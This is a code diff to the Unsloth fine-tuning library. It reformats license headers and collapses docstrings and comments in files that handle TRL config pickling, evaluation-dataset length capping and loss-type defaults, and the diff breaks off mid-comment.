a/unsloth/models/qwen2.py+++ b/unsloth/models/qwen2.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/qwen3.py b/unsloth/models/qwen3.pyindex d41410c7a2a..d30a2984763 100644--- a/unsloth/models/qwen3.py+++ b/unsloth/models/qwen3.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/qwen3_moe.py b/unsloth/models/qwen3_moe.pyindex 279b74b99dc..ab923702cc8 100644--- a/unsloth/models/qwen3_moe.py+++ b/unsloth/models/qwen3_moe.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/rl.py b/unsloth/models/rl.pyindex 2de3fa219cc..bc1b3ac4c9f 100644--- a/unsloth/models/rl.py+++ b/unsloth/models/rl.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -153,7 +150,6 @@ def PatchRL(FastLanguageModel):try:from trl.models import unwrap_model_for_generationexcept ImportError:- # Local fallback: TRL removed or moved this symbol.from contextlib import contextmanager as _cm@_cm@@ -224,32 +220,13 @@ def PatchRL(FastLanguageModel):@torch.no_grad()def unsloth_prediction_step(self, model, inputs, prediction_loss_only, ignore_keys):- """- Perform an evaluation step on `model` using `inputs`.- Subclass and override to inject custom behavior.- Args:- model (`nn.Module`):- The model to evaluate.- inputs (`Dict[str, Union[torch.Tensor, Any]]`):- The inputs and targets of the model.- The dictionary will be unpacked before being fed to the model. Most models expect the targets under the- argument `labels`. Check your model's documentation for all accepted arguments.- prediction_loss_only (`bool`):- Whether or not to return the loss only.- ignore_keys (`List[str]`, *optional*):- A list of keys in the output of your model (if it is a dictionary) that should be ignored when- gathering predictions.- Return:- Tuple[Optional[torch.Tensor], Optional[torch.Tensor], Optional[torch.Tensor]]: A tuple with the loss,- logits and labels (each being optional).- """+ """Evaluation step on `model` using `inputs`. Returns (loss, logits, labels), each optional."""has_labels = (Falseif len(self.label_names) == 0else all(inputs.get(k) is not None for k in self.label_names))- # For CLIP-like models capable of returning loss values: if return_loss is unset in inputs, check- # whether model.forward defaults it to True.+ # For CLIP-like models capable of returning loss values: if return_loss is unset in inputs, check whether model.forward defaults it to True.return_loss = inputs.get("return_loss", None)if return_loss is None:return_loss = self.can_return_loss@@ -270,8 +247,7 @@ def PatchRL(FastLanguageModel):else:labels = None- # Force logits during eval, but restore the user's prior setting after so an explicit- # UNSLOTH_RETURN_LOGITS="1" is not silently turned off.+ # Force logits during eval, but restore the user's prior setting after so an explicit UNSLOTH_RETURN_LOGITS="1" is not silently turned off._old_return_logits = os.environ.get("UNSLOTH_RETURN_LOGITS", "0")os.environ["UNSLOTH_RETURN_LOGITS"] = "1"with torch.no_grad():@@ -561,8 +537,7 @@ pass'''-# Marks an Unsloth-generated config class. It is renamed to the TRL name it stands in for,-# so the "already patched" checks cannot go by __name__ alone.+# Marks an Unsloth-generated config class. It is renamed to the TRL name it stands in for, so the "already patched" checks cannot go by __name__ alone._UNSLOTH_PATCHED_CONFIG_FLAG = "_unsloth_patched_rl_config"# Set on the PRISTINE config class, pointing at the Unsloth subclass that has taken over its module attribute._UNSLOTH_CONFIG_PICKLE_TARGET = "_unsloth_config_pickle_target"@@ -576,15 +551,7 @@ def _is_unsloth_patched_config(config_class):def _reduce_pristine_rl_config(config):- """copyreg reducer for instances of a TRL config class Unsloth has replaced.-- Anyone holding the pristine class - code that imported trl before unsloth, or- TRL's own `TrainingArguments` -> `<X>Config` conversion - owns instances whose- class no longer answers to its own module attribute, so pickle refuses them.- Reduce through `copyreg._reconstructor`, which is stdlib, and the Unsloth- subclass, which pickles under the pristine module and name, so the resulting- file loads as a plain `<X>Config` on a machine without unsloth.- """+ """copyreg reducer for instances of a TRL config class Unsloth has replaced. Anyone holding the pristine class (code that imported trl before unsloth, or TRL's own ``TrainingArguments`` -> ``<X>Config`` conversion) owns instances whose class no longer answers to its own module attribute, so pickle refuses them. Reduce through stdlib ``copyreg._reconstructor`` and the Unsloth subclass, which pickles under the pristine module and name, so the file loads as a plain ``<X>Config`` on a machine without unsloth."""target = getattr(type(config), _UNSLOTH_CONFIG_PICKLE_TARGET, None)if target is None:target = type(config)@@ -594,22 +561,7 @@ def _reduce_pristine_rl_config(config):def _patch_config_pickle_identity(pristine_config, patched_config):- """Keep `torch.save(trainer.args, ...)` working once the config is patched.-- `Trainer._save_checkpoint` ends in `torch.save(self.args, ...)`, and pickle- stores a class as `__module__` + `__qualname__`, then refuses unless the- object living at that path *is* the class. Patching a trainer rebinds- `<X>Config` at the module the pristine class calls home, which breaks that- identity for the pristine class, so every checkpoint save raises- `PicklingError`. Left alone the patched class is no better: it advertises- itself as `Unsloth<X>Trainer.Unsloth<X>Config`, a top level module that only- exists next to a compiled cache, so its `training_args.bin` cannot be read- back by a plain TRL install either.-- Give the patched class the pristine module and name, so it pickles as- `trl.trainer.<x>_config.<X>Config` and reloads anywhere, and reduce pristine- instances through it.- """+ """Keep ``torch.save(trainer.args, ...)`` working once the config is patched. Pickle stores a class as ``__module__`` + ``__qualname__`` and refuses unless the object living there IS the class; patching rebinds ``<X>Config`` at the pristine class's module, so ``Trainer._save_checkpoint`` raised PicklingError. The patched class alone is no better: it advertises ``Unsloth<X>Trainer.Unsloth<X>Config``, a top level module that only exists next to a compiled cache. Give the patched class the pristine module and name so it pickles as ``trl.trainer.<x>_config.<X>Config``, and reduce pristine instances through it."""if pristine_config is None or patched_config is None:returnif pristine_config is patched_config:@@ -618,7 +570,6 @@ def _patch_config_pickle_identity(pristine_config, patched_config):qualname = getattr(pristine_config, "__qualname__", None) or getattr(pristine_config, "__name__", None)- # A nested or generated class has nothing stable to point pickle at.if not home_module_name or not qualname or "." in qualname:returnhome_module = sys.modules.get(home_module_name)@@ -627,12 +578,9 @@ def _patch_config_pickle_identity(pristine_config, patched_config):home_module = importlib.import_module(home_module_name)except Exception:return- # The rebinding above follows the trl.trainer.<x>_trainer -> <x>_config convention, but- # pickle consults the pristine class's own __module__, which is also right for- # trl.experimental wrappers the convention misses.+ # The rebinding above follows the trl.trainer.<x>_trainer -> <x>_config convention, but pickle consults the pristine class's own __module__, which is also right for trl.experimental wrappers the convention misses.current = getattr(home_module, qualname, None)if current is not pristine_config and current is not patched_config:- # Something else owns the name; renaming the patched class would only move the failure.returntry:setattr(home_module, qualname, patched_config)@@ -647,35 +595,15 @@ def _patch_config_pickle_identity(pristine_config, patched_config):def _config_reduction_is_safe(displaced_config, patched_config):- """Can instances of `displaced_config` be rebuilt as `patched_config`?-- The straightforward yes is a subclass: the patched class carries every field- the displaced one declares.-- A sibling also qualifies, and TRL produces one. The deprecation shims at- `trl.trainer.<x>_config.<X>Config` subclass the real class in- `trl.experimental.<x>`, and the wrapper resolution above generates the- patched class from that same parent rather than from the shim -- so the two- end up siblings, not subclass and base. The shim adds only a `__post_init__`- that warns, and every base it has is already in the patched class's MRO, so- the patched class still holds everything such an instance can carry.-- Anything else is left alone: rebuilding an unrelated class as this one would- silently drop state, which is worse than the PicklingError it would avoid.- """+ """Can instances of ``displaced_config`` be rebuilt as ``patched_config``? Yes for a subclass, and yes for a sibling, which TRL produces: the deprecation shims at ``trl.trainer.<x>_config.<X>Config`` subclass the real class in ``trl.experimental.<x>`` while the patched class is generated from that same parent, and the shim adds only a warning ``__post_init__``. Anything else is left alone, since rebuilding an unrelated class as this one silently drops state."""if issubclass(patched_config, displaced_config):return True- # `object` alone is no relationship at all, so it does not count as shared.bases = set(displaced_config.__mro__[1:]) - {object}return bool(bases) and bases.issubset(set(patched_config.__mro__))def _register_config_pickle_fallback(displaced_config, patched_config):- """Route instances of a config class Unsloth displaced through the patched one.-- Covers the pristine class, and any thin wrapper a TRL release leaves at a- module attribute the patching has taken over.- """+ """Route instances of a config class Unsloth displaced through the patched one: the pristine class, and any thin wrapper a TRL release leaves at a module attribute the patching has taken over."""if displaced_config is None or displaced_config is patched_config:returnif not isinstance(displaced_config, type):@@ -732,27 +660,12 @@ _PER_TOKEN = (def _column_names(dataset):- """The split's columns, from metadata AND from a row.-- Both, because either alone is wrong. A `torch.utils.data.Dataset`, a list- or any custom map-style split carries no `column_names`, and reading that- as "raw text, prep will tokenize it" left a pre-tokenized one uncapped on- a path where `args.max_length` is already None. And a `with_transform`- dataset reports its BACKING columns (`text`) while yielding `input_ids`,- so trusting the metadata alone misses it in the other direction.-- Returns the split to actually USE alongside the names. `iter(gen) is gen`- for a bare generator or any other single-pass iterator, so reading a row off- it consumes that row for good and the split silently evaluates one example- short. Those get the probed row chained back on the front instead.- """ # noqa: D208+ """The split's columns, from metadata AND from a row, because either alone is wrong: a ``torch.utils.data.Dataset``, list or custom map-style split carries no ``column_names`` (read as "raw text", which left a pre-tokenized split uncapped), while a ``with_transform`` split reports its BACKING columns (``text``) but yields ``input_ids``. Returns the split to actually USE alongside the names: ``iter(gen) is gen`` for a single-pass iterator, so the probed row is chained back on or the split silently evaluates one example short.""" # noqa: D208names = set(getattr(dataset, "column_names", None) or ())source = datasettry:iterator = iter(dataset)- # `iterator is dataset` misses an IterableDataset whose __iter__ returns one stored- # generator. Two iter() calls giving the same object catches both; a datasets.IterableDataset- # restarts, so it answers False and is rewound.+ # `iterator is dataset` misses an IterableDataset whose __iter__ returns one stored generator. Two iter() calls giving the same object catches both; a datasets.IterableDataset restarts, so it answers False and is rewound.single_pass = iterator is dataset or iterator is iter(dataset)row = next(iterator, None)if single_pass and row is not None:@@ -762,20 +675,12 @@ def _column_names(dataset):row = Noneif isinstance(row, dict):names.update(row.keys())- # Keep the probed row: on a one-shot stream it is the only row anything may see. Without it- # _sliceable_per_token had no widths and cut input_ids alone, leaving labels overlength.+ # Keep the probed row: on a one-shot stream it is the only row anything may see. Without it _sliceable_per_token had no widths and cut input_ids alone, leaving labels overlength.return tuple(names), source, (row if isinstance(row, dict) else None)class _CappedBase:- """A read-side cap for a split that cannot be rewritten in place.-- `map`/`filter` belong to `datasets`; a plain `torch.utils.data.Dataset` or- a list has neither, and a `with_transform` dataset has them but rebuilds- its rows on every read, so mapping it writes the backing table while the- reader keeps handing back the untruncated row. Both reach the collator- through iteration, and the map-style subclass below adds indexing.- """+ """A read-side cap for a split that cannot be rewritten in place. ``map``/``filter`` belong to ``datasets``; a plain ``torch.utils.data.Dataset`` or list has neither, and a ``with_transform`` split has them but rebuilds rows on every read, so mapping writes the backing table while the reader still hands back the untruncated row."""def __init__(self, inner, cut, supervision, per_token):self._inner = inner@@ -784,9 +689,7 @@ class _CappedBase:self._per_token = tuple(per_token)def _slice(self, row):- # Per value, per row, like the map path: _sliceable_per_token judges from ONE row, and an- # optional column that is a list there can be None later, which raised in the dataloader.- # Only input_ids is cut unconditionally.+ # Per value, per row, like the map path: _sliceable_per_token judges from ONE row, and an optional column that is a list there can be None later, which raised in the dataloader. Only input_ids is cut unconditionally.if not isinstance(row, dict):return rowtry:@@ -826,9 +729,7 @@ class _CappedBase:yield cutdef __getattr__(self, attribute):- # Everything else (column_names, features, ...) is the wrapped split's answer. Never a dunder- # nor our own state: a DataLoader worker pickles the split, and __setstate__ before __init__- # would recurse on _inner forever.+ # Everything else (column_names, features, ...) is the wrapped split's answer. Never a dunder nor our own state: a DataLoader worker pickles the split, and __setstate__ before __init__ would recurse on _inner forever.inner = self.__dict__.get("_inner")if inner is None or attribute.startswith("__"):raise AttributeError(attribute)@@ -836,16 +737,11 @@ class _CappedBase:class _CappedRows(_CappedBase):- """The map-style flavour: a split with a length and an index.-- Rows left with no supervised token are dropped, which changes the length,- so the surviving indices are resolved once up front.- """+ """The map-style flavour: a split with a length and an index. Rows left with no supervised token are dropped, which changes the length, so the surviving indices are resolved once up front."""def __init__(self, inner, cut, supervision, per_token):super().__init__(inner, cut, supervision, per_token)- # With no supervision columns _keep is True for every row, so building the index would- # transform every item -- a whole extra tokenization pass for a with_transform split.+ # With no supervision columns _keep is True for every row, so building the index would transform every item, a whole extra tokenization pass for a with_transform split.self._index = (Noneif not self._supervision@@ -870,15 +766,7 @@ except Exception: # torch's data stack is optional at import timeclass _CappedStream(_CappedBase, _IterableDatasetBase):- """The iterable-style flavour, and it has to BE one.-- Trainer and DataLoader both split map-style from iterable-style with- `isinstance(dataset, IterableDataset)`, not by looking for `__iter__`, so- wrapping a stream in a plain object got it a `SequentialSampler` asking for- the `len()` a stream never had. Declared here rather than built with `type()`- inside a function: a DataLoader worker under `spawn` pickles the split by- module and qualified name, and a class with neither is unpicklable.- """+ """The iterable-style flavour, and it has to BE one: Trainer and DataLoader split map-style from iterable-style with ``isinstance(dataset, IterableDataset)``, not by looking for ``__iter__``, so a plain wrapper got a ``SequentialSampler`` asking for a ``len()`` a stream never had. Declared here rather than built with ``type()`` inside a function, since a DataLoader worker under spawn pickles the split by module and qualified name."""def _capped_stream(inner, cut, supervision, per_token):@@ -898,17 +786,12 @@ def _is_stream(dataset):_SCAN_ROWS = 1024-# Believe a producer's own truncation claim: scanning a with_transform split tokenizes every-# row in __init__, the eager pass it avoids. Only a cap at or below the enforced one counts.+# Believe a producer's own truncation claim: scanning a with_transform split tokenizes every row in __init__, the eager pass it avoids. Only a cap at or below the enforced one counts._TRUNCATION_ATTESTATION_ATTR = "_unsloth_truncated_to"def _attested_within_cap(dataset, cap):- """The split's own truncation-width claim, or None if it makes none.-- Read from `__dict__`, not `getattr`: `_CappedBase.__getattr__` forwards to the- inner split, so a wrapper would inherit a guarantee it does not carry.- """+ """The split's own truncation-width claim, or None if it makes none. Read from ``__dict__``, not ``getattr``: ``_CappedBase.__getattr__`` forwards to the inner split, so a wrapper would inherit a guarantee it does not carry."""own = getattr(dataset, "__dict__", None)if not isinstance(own, dict):return None@@ -919,20 +802,7 @@ def _attested_within_cap(dataset, cap):def pretokenized_within_cap(dataset, cap):- """Whether every pre-tokenized row in `dataset` already fits `cap`.-- The generated `__init__` carries its own copy of this, inlined, because that- module is standalone and cannot import from here. This one is for callers- that need the same answer when the generated block was never inserted -- see- `trainer.py`'s padding-free fallback. The two must agree, and a test pins- them to the same verdict on the shapes below.-- Unverifiable reads FALSE, never true. A single-pass stream cannot be scanned- without consuming it, an unexhausted one is only proof about its prefix, and- a split that raises mid-scan has told us nothing: in every one of those cases- the caller is about to decide whether anything downstream enforces the cap,- and guessing yes is the silently-uncapped run.- """+ """Whether every pre-tokenized row in ``dataset`` already fits ``cap``. The generated ``__init__`` carries an inlined copy (that module is standalone and cannot import from here); this one serves callers reached when the generated block was never inserted, and a test pins the two to the same verdict. Unverifiable reads FALSE, never true: a single-pass stream cannot be scanned without consuming it, an unexhausted one proves only its prefix, and a split that raises mid-scan has said nothing, and in each case guessing yes is the silently-uncapped run."""if dataset is None:return Trueattested = _attested_within_cap(dataset, cap)@@ -971,13 +841,7 @@ _EVAL_CAP_MEMO_MAX = 8def _cap_signature(dataset):- """What this split was already capped to, or None if we did not cap it.-- Read through `__dict__` for our own wrappers: `_CappedBase.__getattr__`- forwards anything it does not hold to the split inside, so a plain `getattr`- on an unmarked wrapper asks the INNER split, and an inner split we happen to- have capped earlier would answer for the outer one.- """+ """What this split was already capped to, or None if we did not cap it. Read through ``__dict__`` for our own wrappers: ``_CappedBase.__getattr__`` forwards to the split inside, so a plain ``getattr`` on an unmarked wrapper gets an inner split we happen to have capped earlier answering for the outer one."""own = getattr(dataset, "__dict__", None)if isinstance(own, dict) and _CAP_SIGNATURE_ATTR in own:return own[_CAP_SIGNATURE_ATTR]@@ -985,13 +849,7 @@ def _cap_signature(dataset):def _mutation_token(dataset):- """What moves when this split's ROWS move, or None if nothing does.-- `datasets` splits are content-addressed by `_fingerprint`. A `with_transform`- split has one too, but it covers the backing table and not the transform, so- a transform closing over mutable state yields different rows under an- unchanged fingerprint; those answer None. Anything else has no answer either.- """+ """What moves when this split's ROWS move, or None if nothing does. ``datasets`` splits are content-addressed by ``_fingerprint``; a ``with_transform`` split has one too, but it covers the backing table and not the transform, so a transform closing over mutable state yields different rows under an unchanged fingerprint. Those answer None, as does anything else."""try:fmt = getattr(dataset, "format", None)kind = fmt.get("type") if isinstance(fmt, dict) else None@@ -1011,19 +869,7 @@ def _mark_capped(dataset, cap, drop_unsupervised):def _cap_still_holds(dataset, cap, drop_unsupervised):- """Whether an earlier mark of ours still describes this split.-- Three of the four `_cap` outcomes mark the CALLER'S OWN object and hand it- back -- no tokens, packed, already short -- and that object can be mutated- between two `evaluate()` calls. A `set_transform` that starts yielding- longer `input_ids` is enough, and the mark alone then skipped the rescan and- let the new rows through uncapped. Our own wrappers hold a fixed slice and- cannot drift, so those are trusted outright; anything else has to still- fingerprint the way it did when marked. An unfingerprintable split answers- None both times and is simply rescanned, which is the same conclusion the- memo reaches for the same reason, and is not destructive: the second pass- reads through `_column_names`, which chains its probed row back on.- """+ """Whether an earlier mark of ours still describes this split. Three of the four ``_cap`` outcomes mark the CALLER'S OWN object and hand it back, and that object can be mutated between two ``evaluate()`` calls (a ``set_transform`` yielding longer ``input_ids`` is enough), which let the mark skip the rescan. Our own wrappers hold a fixed slice and are trusted outright; anything else has to still fingerprint the way it did when marked. An unfingerprintable split is simply rescanned, which is safe because ``_column_names`` chains its probed row back on."""signature = _cap_signature(dataset)if signature is None:return False@@ -1048,13 +894,7 @@ def _first_row_without_consuming(dataset):def _is_token_vector(value, width):- """Whether `value` reads as one number per token, for a row of `width`.-- Only used to decide whether a column NOT on the allow-list rides along with- the slice, so it is deliberately narrow: a string is as long as its- characters, and a list of messages or of strings can match a row length by- coincidence. A flat vector of scalars is what a per-token field actually is.- """+ """Whether ``value`` reads as one number per token for a row of ``width``. Deliberately narrow, since it only decides whether a column NOT on the allow-list rides along with the slice: a string is as long as its characters and a list of messages can match a row length by coincidence, while a flat vector of scalars is what a per-token field actually is."""if isinstance(value, (str, bytes, dict)):return Falsetry:@@ -1062,7 +902,6 @@ def _is_token_vector(value, width):return Falseexcept Exception:return False- # By what the entries are NOT, so a numpy or torch scalar still counts.for item in value:return not isinstance(item, (str, bytes, dict, list, tuple, set))return False@@ -1074,37 +913,21 @@ def _sliceable_per_token(cap,probed = None,):- """The token columns whose VALUES can be sliced alongside `input_ids`.-- Presence is not enough. An optional column stored as `token_type_ids = None`- makes the late cap's `map` raise, and the broad catch around it hands the- caller its uncapped split straight back; a 2-D `position_ids` slices on the- wrong axis and comes out misaligned with the truncated `input_ids`. Either- defeats the cap through one auxiliary column, so judge by a row rather than- by a name, the way the construction-time truncation already does.-- A row that cannot be read without costing it leaves `input_ids` alone: the- column the cap exists for, and the one every other is measured against.- """- # input_ids first, then a fixed order: `names` is a set, and the map path reads the width off- # input_ids as it walks this list, so labels first sliced them against nothing.+ """The token columns whose VALUES can be sliced alongside ``input_ids``. Presence is not enough: an optional column stored as ``token_type_ids = None`` makes the late cap's ``map`` raise (and the broad catch hands back the uncapped split), and a 2-D ``position_ids`` slices on the wrong axis. So judge by a row, as the construction-time truncation does. A row that cannot be read without costing it leaves ``input_ids`` alone."""+ # input_ids first, then a fixed order: `names` is a set, and the map path reads the width off input_ids as it walks this list, so labels first sliced them against nothing.known = [c for c in _PER_TOKEN if c in names]- # A custom per-token field (loss_mask, token_weights) is not in the allow-list, so it stayed- # full length while input_ids was cut and a custom collator got mismatched lengths. Judge by- # alignment, but only a flat vector of scalars, keeping `messages` out of the slice.+ # A custom per-token field (loss_mask, token_weights) is not in the allow-list, so it stayed full length while input_ids was cut and a custom collator got mismatched lengths. Judge by alignment, but only a flat vector of scalars, keeping `messages` out of the slice.custom = sorted(c for c in names if c not in _PER_TOKEN)per_token = known + customif len(known) < 2 and not custom:return known- # `probed` is the row _column_names already read. Preferring it is what lets a one-shot stream align- # every per-token column: reading another row would cost the caller that example.+ # `probed` is the row _column_names already read; preferring it is what lets a one-shot stream align every per-token column, since reading another row would cost the caller that example.row = probed if isinstance(probed, dict) else _first_row_without_consuming(dataset)if not isinstance(row, dict):return ["input_ids"] if "input_ids" in names else []try:width = len(row.get("input_ids"))except Exception:- # Nothing to measure against, so a custom column has no evidence behind it; fall back to the named ones only.return knownkept = []for name in per_token:@@ -1112,8 +935,7 @@ def _sliceable_per_token(if name in custom and not _is_token_vector(value, width):continuetry:- # As long as input_ids, which makes the FIRST axis the token axis: [seq_len, channels] slices- # right, and a channel-major position_ids ([3, seq_len] under mrope) fails and is left alone.+ # As long as input_ids, which makes the FIRST axis the token axis: [seq_len, channels] slices right, and a channel-major position_ids ([3, seq_len] under mrope) fails and is left alone.if len(value) != width:continueexcept Exception:@@ -1123,11 +945,7 @@ def _sliceable_per_token(def _eval_packing_on(args):- """TRL's own resolution: `args.packing` unless `eval_packing` overrides it.-- Kept identical to the generated block's `_unsloth_eval_packing`, because the- late cap and the construction-time one have to answer this the same way.- """+ """TRL's own resolution: ``args.packing`` unless ``eval_packing`` overrides it. Kept identical to the generated block's ``_unsloth_eval_packing``, since the late cap and the construction-time one must answer this the same way."""eval_packing = getattr(args, "eval_packing", None)if eval_packing is None:return bool(getattr(args, "packing", False))@@ -1135,20 +953,7 @@ def _eval_packing_on(args):def _trl_prepares_late_evals(trainer_cls):- """Does TRL's own `evaluate` prepare a split handed straight to it?-- False up to TRL 1.6, where `evaluate` was the base Trainer's and- `_prepare_dataset` ran only from `__init__`. True from 1.7.0, whose- `SFTTrainer.evaluate` calls `_prepare_dataset` with- `packing = args.packing if args.eval_packing is None else args.eval_packing`,- so on those versions the packer owns a late eval split and cutting its rows- at the cap first throws away the overflow packing exists to redistribute.-- Read off the class rather than off a version number, so a TRL that moves the- behaviour again is answered correctly. The first class in the MRO that- defines `evaluate` is the one that runs; anything unreadable answers False,- which is what every TRL did before 1.7.- """+ """Does TRL's own ``evaluate`` prepare a split handed straight to it? False up to TRL 1.6, where ``evaluate`` was the base Trainer's; True from 1.7.0, whose ``SFTTrainer.evaluate`` calls ``_prepare_dataset`` with ``packing = args.packing if args.eval_packing is None else args.eval_packing``, so there the packer owns a late eval split and cutting rows at the cap first throws away the overflow packing exists to redistribute. Read off the class rather than a version number, taking the first class in the MRO that defines ``evaluate``; anything unreadable answers False, which is what every TRL did before 1.7."""for klass in getattr(trainer_cls, "__mro__", ()):method = klass.__dict__.get("evaluate")if method is None or getattr(method, "_unsloth_eval_cap_wrapped", False):@@ -1161,17 +966,7 @@ def _trl_prepares_late_evals(trainer_cls):def _pin_pristine_sft_loss_type(config_cls):- """Pin `loss_type` to `nll` on TRL's own `SFTConfig`, not just on ours.-- Patching rebinds `trl.SFTConfig` to the generated subclass, so a caller who- ran `from trl import SFTConfig` before importing Unsloth keeps the pristine- class and would still get TRL >= 1.7.0's `chunked_nll` (that ordering is- supported and covered by the padding-free tests). TRL declares the field as- `None` and resolves it in `__post_init__`, so seeding `nll` there is enough;- an explicit `loss_type = ` still wins, and `use_liger_kernel = True` already- resolved to `nll`. Only the unresolved `None` default is touched, which also- makes this a no-op on TRL < 1.7.0 and on a second call.- """+ """Pin ``loss_type`` to ``nll`` on TRL's own ``SFTConfig``, not just on ours: a caller who ran ``from trl import SFTConfig`` before importing Unsloth keeps the pristine class and would still get TRL >= 1.7.0's ``chunked_nll``. TRL declares the field as ``None`` and resolves it in ``__post_init__``, so seeding ``nll`` there is enough and an explicit ``loss_type`` still wins. Only the unresolved ``None`` default is touched, making this a no-op on TRL < 1.7.0 and on a second call."""field = getattr(config_cls, "__dataclass_fields__", {}).get("loss_type")if field is None or field.default is not None:return False@@ -1204,53 +999,18 @@ def _pin_pristine_sft_loss_type(config_cls):else:return Falsefield.default = "nll"- # The class attribute is the other copy of the default: dataclasses seeds it at class creation and a- # later subclass reads the field, so leave the two agreeing rather than half-patched.+ # The class attribute is the other copy of the default: dataclasses seeds it at class creation and a later subclass reads the field, so leave the two agreeing rather than half-patched.setattr(config_cls, "loss_type", "nll")return Truedef _wrap_sft_evaluate_cap(trainer_cls):- """Cap a pre-tokenized split handed to `evaluate()`/`predict()` later on.-- The padding-free branch caps the init-time splits itself and then clears- `args.max_length`, because that is what TRL's guard demands. Only the splits- present at construction went through it, so a split supplied afterwards is- prepared with `max_length = None`, and Zoo's prep leaves rows that already- carry `input_ids` alone: overlength rows reach the collator with nothing- enforcing the cap. The cap itself survives on `args.max_seq_length`, so- apply it here to exactly the rows nothing else will truncate.-- Both entry points, not just `evaluate`: `predict(test_dataset = ...)` comes- from the base Trainer and reaches the same collator by the same route.-- Whether anything TRL owns runs on a late split depends on the TRL. Up to 1.6- nothing did: `_prepare_dataset` was called from `__init__` and nowhere else,- and SFTTrainer overrode neither `evaluate` nor `predict` nor- `get_eval_dataloader`, so a split handed over afterwards was never tokenized,- never packed and never truncated. From 1.7.0 `SFTTrainer.evaluate` prepares a- split passed straight to it, packing included, so on those versions the packer- DOES own a late eval split and `eval_packing` has to be honoured here exactly- as it is at construction. `_trl_prepares_late_evals` reads that off the class.-- This has to agree with the construction-time cap on every detail, because it- is the same cap arriving late. It honours `truncation_mode`, refuses a packed- split, drops rows left with no supervised token, and handles a stream.- """+ """Cap a pre-tokenized split handed to ``evaluate()``/``predict()`` later on. The padding-free branch caps the init-time splits and then clears ``args.max_length`` as TRL's guard demands, so a split supplied afterwards is prepared with ``max_length = None`` and Zoo's prep leaves rows already carrying ``input_ids`` alone: overlength rows reach the collator uncapped. The cap survives on ``args.max_seq_length``, so apply it here. Both entry points, since ``predict(test_dataset = ...)`` reaches the same collator. Up to TRL 1.6 nothing prepares a late split; from 1.7.0 ``SFTTrainer.evaluate`` does, packing included, so ``eval_packing`` must be honoured here exactly as at construction (``_trl_prepares_late_evals``). This has to agree with the construction-time cap on every detail: truncation_mode, refusing a packed split, dropping rows with no supervised token, and handling a stream."""def _supervision_columns(args, names):- """Columns that decide whether a row still has a supervised token.-- `labels` when present, `assistant_masks` on presence alone,- `completion_mask` only under `completion_only_loss`. That mode is the- trainer's, resolved once from the training sample, so read the collator's- effective value rather than guessing from this split's own columns: TRL- does the same and the two must agree.- """+ """Columns that decide whether a row still has a supervised token: ``labels`` when present, ``assistant_masks`` on presence alone, ``completion_mask`` only under ``completion_only_loss``. That mode is the trainer's, resolved once from the training sample, so read the collator's effective value rather than guessing from this split's columns."""columns = ["labels"] if "labels" in names else []- # The TRAINER's resolved value first: the collator uses it, and it is set whenever TRL- # resolved it. The split's own schema read False off a pre-tokenized eval split with only- # input_ids + completion_mask, so cut-away rows survived as all -100, i.e. a NaN eval loss.+ # The TRAINER's resolved value first: the collator uses it, and it is set whenever TRL resolved it. The split's own schema read False off a pre-tokenized eval split with only input_ids + completion_mask, so cut-away rows survived as all -100, i.e. a NaN eval loss.only = getattr(args, "_unsloth_resolved_completion_only", None)if only is None:only = getattr(args, "_unsloth_completion_only_loss", None)@@ -1271,34 +1031,24 @@ def _wrap_sft_evaluate_cap(trainer_cls):drop_unsupervised = True,packs_late = False,):- # evaluate() caps the split and Transformers then calls get_eval_dataloader, which is also- # wrapped, so both reach here in one call. Re-capping is destructive over a one-shot stream:- # each probe reads a row and _CappedStream re-opens the SAME exhausted source.+ # evaluate() caps the split and Transformers then calls get_eval_dataloader, which is also wrapped, so both reach here in one call. Re-capping is destructive over a one-shot stream: each probe reads a row and _CappedStream re-opens the SAME exhausted source.if _cap_still_holds(dataset, cap, drop_unsupervised):return datasetnames, dataset, probed = _column_names(dataset)if "input_ids" not in names:- # No tokens here yet, so there is nothing to cut. TRL does not tokenize a late split either- # (_prepare_dataset runs only from __init__), but that is its own gap.+ # No tokens here yet, so there is nothing to cut. TRL does not tokenize a late split either (_prepare_dataset runs only from __init__), but that is its own gap.return _mark_capped(dataset, cap, drop_unsupervised)- # eval_packing is consulted only where the packer reaches the split, hence packs_late per- # entry point. Up to TRL 1.6 nothing packs a late split; from 1.7.0 `evaluate` prepares it- # itself and the strategy owns the overflow, so capping rows first throws that away.+ # eval_packing is consulted only where the packer reaches the split, hence packs_late per entry point. Up to TRL 1.6 nothing packs a late split; from 1.7.0 `evaluate` prepares it itself and the strategy owns the overflow, so capping rows first throws that away.if packs_late and _eval_packing_on(args):- # Left FOR the packer, so it is not capped and must not be marked as if it were. TRL only- # prepares a split PASSED to evaluate, so a stored split or string key arrives here untouched;- # where it really packs, it hands back a NEW object.+ # Left FOR the packer, so it is not capped and must not be marked as if it were. TRL only prepares a split PASSED to evaluate, so a stored split or string key arrives here untouched; where it really packs, it hands back a NEW object.return dataset- # A packed split carries document 